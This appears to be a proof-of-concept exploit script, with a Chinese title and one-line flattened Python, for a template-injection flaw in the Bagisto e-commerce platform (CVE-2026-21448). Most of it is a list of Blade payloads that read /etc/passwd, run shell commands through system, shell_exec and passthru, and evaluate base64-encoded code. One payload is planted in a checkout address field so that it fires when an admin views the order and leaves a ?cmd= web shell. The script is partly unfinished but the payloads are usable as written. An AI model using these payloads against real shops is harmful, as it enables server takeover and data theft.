CVE-2026-21448: Bagisto服务器端模板注入远程代码执行漏洞

# CVE-2026-21448 Bagisto SSTI to RCE PoC # Affected Version: Bagisto < 2.3.10 import requests import json TARGET_URL = "http://target.com" # Replace with target URL # Step 1: Register a customer account and login session = requests.Session() # Login as customer (you need valid credentials) # login_url = f"{TARGET_URL}/customer/login" # session.post(login_url, data={'email': '[email protected]', 'password': 'password'}) # Step 2: Inject SSTI payload in address field during checkout # The payload tests for SSTI by evaluating template expression ssti_payload = "{{7*7}}" # Step 3: When admin views the order, the SSTI will be triggered # To confirm RCE, use a more dangerous payload: # RCE Payload examples for Blade template: # Read /etc/passwd: # {{file_get_contents('/etc/passwd')}} # Execute system command: # {{system('whoami')}} # Using Laravel's eval() or shell_exec(): # {{eval(base64_decode('c3lzdGVtKCJscyIpOw=='))}} # Base64 encoded: system("ls"); # Modern approach using _laravel_wrapper: # {{$_SERVER}} # Leak environment variables # Full exploitation example: malicious_payloads = [ # Basic SSTI test "{{7*7}}", # File read "{{file_get_contents('/etc/passwd')}}", # RCE via system() "{{system($_GET['cmd'])}}#", # RCE via shell_exec() "{{shell_exec('id')}}", # Using passthru() "{{passthru('cat /etc/hostname')}}", ] # Example: Add address with malicious payload address_data = { 'address1': malicious_payloads[2], # RCE payload 'address2': '', 'city': 'Test City', 'state': 'Test State', 'country': 'US', 'postal_code': '12345', } print("[+] CVE-2026-21448 Bagisto SSTI PoC") print("[+] Payload: {}".format(address_data['address1'])) print("[+] Note: This payload requires admin to view the order in admin panel") print("[+] After triggering, access: {}/?cmd=whoami".format(TARGET_URL))